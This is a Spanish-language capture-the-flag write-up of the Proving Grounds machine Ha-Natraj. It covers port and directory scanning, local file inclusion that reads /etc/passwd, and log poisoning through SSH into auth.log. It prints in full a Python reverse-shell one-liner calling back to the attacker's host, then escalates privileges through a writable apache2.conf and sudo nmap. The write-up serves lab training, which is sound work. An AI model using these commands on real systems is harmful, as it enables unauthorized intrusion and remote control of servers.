> For the complete documentation index, see [llms.txt](https://wiki.securiters.com/securiters-wiki/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://wiki.securiters.com/securiters-wiki/write-ups/proving-grounds/ha-natraj.md).

# Ha-Natraj

Write-up de la máquina Ha-Natraj de Proving Grounds #writeup #walkthrough

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2F6uo6TJA1dXBjZRtxKFgo%2Fimage.png?alt=media&amp;token=e38cef8d-83a1-4da5-93f3-65d3878e0e7c" alt=""><figcaption></figcaption></figure>

### Enumeración

#### NMAP

Comenzamos realizando un escaneo rápido de los puertos que tiene abiertos la máquina víctima.&#x20;

```
nmap -p- --open -vvv -Pn -n --min-rate 2000 192.168.87.80
```

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FRBOE1MsZXbYqLry9adKw%2Fimage.png?alt=media&amp;token=47d43ceb-d1e0-432d-b71d-5d25832f3985" alt=""><figcaption></figcaption></figure>

Están abiertos los puertos 22 y 80. A continuación, realizamos un escaneo más riguroso de estos puertos abiertos.

```
nmap -p22,80 -sVC -vv 192.168.87.80 -oN targeted
```

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FacXLtMbchuNUAzlzNlKj%2Fimage.png?alt=media&amp;token=2685e89b-e967-43d7-8226-3a2e417565b0" alt=""><figcaption></figcaption></figure>

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FWkjDoHWUc48UvbX9ILo5%2Fimage.png?alt=media&amp;token=71baf27e-d42b-4f76-ac4c-fa23a89ba002" alt=""><figcaption></figcaption></figure>

Existen 2 puertos abiertos en el equipo target.&#x20;

* Puerto 22 -> SSH -> OpenSSH 7.6
* Puerto 80 -> HTTP -> Apache httpd 2.4.29

#### Enumeración Web

Comenzamos visitando el servicio Web, donde hemos encontrado imagenes e información sobre el Natraj, vamos a comprobar el código fuente y el archivo robots.txt, donde no hay nada útil.&#x20;

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FXEZqYZOumwRSVAba4uwg%2Fimage.png?alt=media&amp;token=896bf5e8-c9a9-4818-8eaa-ac28fffbc541" alt=""><figcaption></figcaption></figure>

Vamos a continuar realizando una enumeración de directorios con la herramienta dirsearch.&#x20;

```
dirsearch -u "http://192.168.87.80" -i200,301 -r
```

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FnzD81ptvodDgfAgs2I09%2Fimage.png?alt=media&amp;token=1e9aab0d-2e7d-4f70-9282-67e295c8a8e8" alt=""><figcaption></figcaption></figure>

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2Fj26oQOx8ovuHuPtezjbp%2Fimage.png?alt=media&amp;token=34ab7f97-2c81-427f-84ca-77fe82a4cd6f" alt=""><figcaption></figcaption></figure>

Hemos encontrado un directorio llamado /console que contiene un archivo llamado file.php.

Si lo ejecutamos, no hace nada. Probablemente tengamos que añadir algo más.&#x20;

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FwTFYpZj6nJJsZu0UNqaF%2Fimage.png?alt=media&amp;token=f22474ca-1097-4ee5-8b6a-70039dcd1075" alt=""><figcaption></figcaption></figure>

Vamos a utilizar el nombre de archivo en una variable "GET"  para intentar hacer una prueba de concepto que nos permita verificar si el sitio era vulnerable a la inclusión de archivos locales (LFI).

```
curl http://192.168.87.80/console/file.php?file=/etc/passwd  
```

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FDpvGt9621vF7t2s5dmoo%2Fimage.png?alt=media&amp;token=2c7a611d-5c67-4d82-9d8e-4cd34b770454" alt=""><figcaption></figcaption></figure>

Encontramos los nombres de usuario natraj y mahakal.

Es vulnerable a LFI.&#x20;

### Explotación

Probamos varias opciones de enumeración, entre ellas la enumeración de archivos a los que podemos acceder. Para ello, vamos a utilizar la herramienta Intruder de Burp. Después de unos instantes, obtenemos un resultado que puede ser interesante. Podemos acceder al archiv /var/log/auth.log

&#x20;

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2Fcd8AH4kBDUlOTdZSeW7K%2Fimage.png?alt=media&amp;token=44d05206-43f7-45ae-b5a4-854d48e38c87" alt=""><figcaption></figcaption></figure>

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FdLJuuWxu3LmLdgat9R20%2Fimage.png?alt=media&amp;token=1e03365b-0ee1-4b9d-9400-410825b746cb" alt=""><figcaption></figcaption></figure>

Sabiendo esto, vamos a intentar realizar un ataque de envenenamiento de logs a través de SSH. El envenenamiento de logs es una técnica que podemos utilizar para obtener un shell inverso en un servidor.&#x20;

Para realizar este ataque comenzamos enviando código malicioso PHP  a través del uso de SSH para que este sea registrado en el archivo auth.log.

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2Fj3j12jPH5JUemcTh575d%2Fimage.png?alt=media&amp;token=1fb438c9-b648-46b6-851d-06074e427856" alt=""><figcaption></figcaption></figure>

Comprobamos si la inyección maliciosa ha sido exitosa.

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2Fkf1RAmBRuoxszqfJqkgI%2Fimage.png?alt=media&amp;token=eadae64a-e9a4-4093-a0e3-fb7870bc9e06" alt=""><figcaption></figcaption></figure>

Ya podemos ejecutar comandos en la máquina objetivo (RCE).&#x20;

Vamos a ejecutar una shell inversa en la máquina objetivo y a colocar un oyente con netcat en el puerto 80.&#x20;

La shell utilizada es la siguiente:&#x20;

```
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.49.90",80));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")'
```

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FJu9KOaa8o6CqaLllK5Gg%2Fimage.png?alt=media&amp;token=48362721-e4dd-4b14-bade-ab9c36c20b67" alt=""><figcaption></figcaption></figure>

Si utilizamos Burp, debemos codificar la shell como URL para que funcione. Si utilizamos el navegador para enviar la shell, se puede colocar directamente.&#x20;

&#x20;

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2F6EA5UiPiLd5ogfvymjwA%2Fimage.png?alt=media&amp;token=889575a2-1554-499a-a638-fe0796efa590" alt=""><figcaption></figcaption></figure>

Hacemos la terminal genera más interactiva de la siguiente manera:

```
python3 -c 'import pty;pty.spawn("/bin/bash");'
```

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FRGYPEFwdj7BaQ4xsBa0v%2Fimage.png?alt=media&amp;token=dbedfdd3-a235-4ef3-ab64-44a2ad9dc9d8" alt=""><figcaption></figcaption></figure>

Ya tenemos acceso a la máquina objetivo. Comprobamos si podemos ejecutar sudo y enumeramos los binarios SUID.

```
sudo -l
```

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FDK6UuWtH97KjJTDXmcNt%2Fimage.png?alt=media&amp;token=dc0482bb-9a53-4950-aa4a-1139e1f05fbf" alt=""><figcaption><p>sudo -l</p></figcaption></figure>

Podemos ejecutar comandos relacionados con el servidor Apache.

Vamos a buscar binarios con el flag SUID activo que podaos utilizar para elevar privilegios.

```
find / -perm -4000 2>/dev/null
```

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FIuubkvDh9sBLDwnxjVbe%2Fimage.png?alt=media&amp;token=e3e75e8a-bd1f-4fa2-a4bb-42fd08ef13e5" alt=""><figcaption></figcaption></figure>

No hay nada interesante. Vamos a buscar todos los archivos de escritura en el directorio.

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2F61nMN0oWuyD6Qtq0vUm2%2Fimage.png?alt=media&amp;token=86eec1c2-72c8-488f-97cb-913ac4f1943c" alt=""><figcaption></figcaption></figure>

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FFxPbxsxKr1dVp57XCOqa%2Fimage.png?alt=media&amp;token=76c529f8-652b-472e-9b75-1f7f0ead6bfc" alt=""><figcaption></figcaption></figure>

Encontramos un archivo interesante, apache2.conf, que tiene permiso completo de lectura y escritura  para cualquier usuario y grupo.

### Escalada de privilegios

Para escalar privilegios a otros usuarios cambiando el nombre de usuario y grupo de apache2.conf. El primer paso será agregar el nombre de usuario y nombre de grupo. Para ello descargamos el fichero en nuestra máquina de ataque.

Creamos un servidor HTTP con Python en la máquina víctima.

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2F3QOJ4Wndz6j5W1tWJ0Q8%2Fimage.png?alt=media&amp;token=4981a87c-0ca8-4fa0-879d-2dabf7283eb9" alt=""><figcaption></figcaption></figure>

Y en la máquina de ataque ejecutamos.&#x20;

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FsKC0nH1kkT3LKbJqHckG%2Fimage.png?alt=media&amp;token=7d149f74-68f0-4640-8646-0fa1f39750f7" alt=""><figcaption></figcaption></figure>

Ahora realizamos en este archivo las modificaciones comentadas anteriormente.&#x20;

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FNK2svMVkKAm8kHld9UuP%2Fimage.png?alt=media&amp;token=71aa0e3e-a5d2-49dc-a2da-771098467b24" alt=""><figcaption></figcaption></figure>

Ahora para volver a subir el archivo a la máquina objetivo volvemos a levantar un servidor HTTP con Python pero ahora el servidor lo levantamos en la máquina de ataque. El archivo debemos colocarlo en el directorio /tmp y desde aquí lo copiamos a /etc/apache2/.

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FyLQlK0XXl2wXW2M1mdYl%2Fimage.png?alt=media&amp;token=362016c6-b155-4edd-bff8-eda991873d9f" alt=""><figcaption><p>Servidor en la máquina de ataque</p></figcaption></figure>

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FvtsrVDtNrwkqLOcPLZi8%2Fimage.png?alt=media&amp;token=7d631d5d-306a-4560-9712-0f6ff4858b0f" alt=""><figcaption><p>Enviando el archivo apache2.conf modificado al objetivo</p></figcaption></figure>

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FEMJFZ31NTGuWdkSqohUT%2Fimage.png?alt=media&amp;token=4702e5e6-5ea9-417b-837c-cff904060bab" alt=""><figcaption></figcaption></figure>

Una vez hemos transferido el archivo apache2.conf, procedemos a reiniciar el servidor Apache.&#x20;

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2F35JdC6pXWphm5O4QECXD%2Fimage.png?alt=media&amp;token=d8c7956d-4c10-4eb2-b709-1500f8f4bda7" alt=""><figcaption></figcaption></figure>

Después de un instante que necesita el servicio para reiniciar, volvemos a lanzar la shell inversa en el puerto 80 de la misma forma que lo hicimos anteriormente. Y volvemos a tener conexión con el objetivo.&#x20;

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2Fthc6EfYbOtICnM7MFs51%2Fimage.png?alt=media&amp;token=9d380572-1a00-4808-a024-9c00d06b69e0" alt=""><figcaption></figcaption></figure>

Ahora tenemos conexión en el objetivo como usuario "mahakal". Volvemos a realizar distintas enumeraciones para ver como podemos elevar privilegios.

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FRl2DSPfOBvhnbO97nSlI%2Fimage.png?alt=media&amp;token=22cc247c-81b8-4f68-9851-959407ef3ea7" alt=""><figcaption></figcaption></figure>

El usuario "mahakal" puede ejecutar el comando nmap como usuario root. Vamos a determinar si podemos utilziar esto para escalar a usuario "root". Para ello, consultamos ["GTFOBins"](https://gtfobins.github.io/gtfobins/nmap/#sudo)

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FjBihMX0hF8QWi1TwH3e4%2Fimage.png?alt=media&amp;token=555c5de2-57eb-40a1-bffa-ed3ac9de7adb" alt=""><figcaption></figcaption></figure>

Solo queda buscar ambas flags para completar el CTF Ha: Natraj.

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FCgDJtwuQkdOIeXYeu9QU%2Fimage.png?alt=media&amp;token=a223fbb9-d350-498d-b585-2a8d35c1c454" alt=""><figcaption><p>Flag proof.txt (root)</p></figcaption></figure>

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2F3dXdy4qPJSAj84XGa51B%2Fimage.png?alt=media&amp;token=20c89fc5-1ecd-4867-84c3-90cb75da953c" alt=""><figcaption><p>Flag local.txt (usuario bajos privilegios)</p></figcaption></figure>

{% embed url="<https://www.youtube.com/watch?v=yCFnBaOcphA>" %}
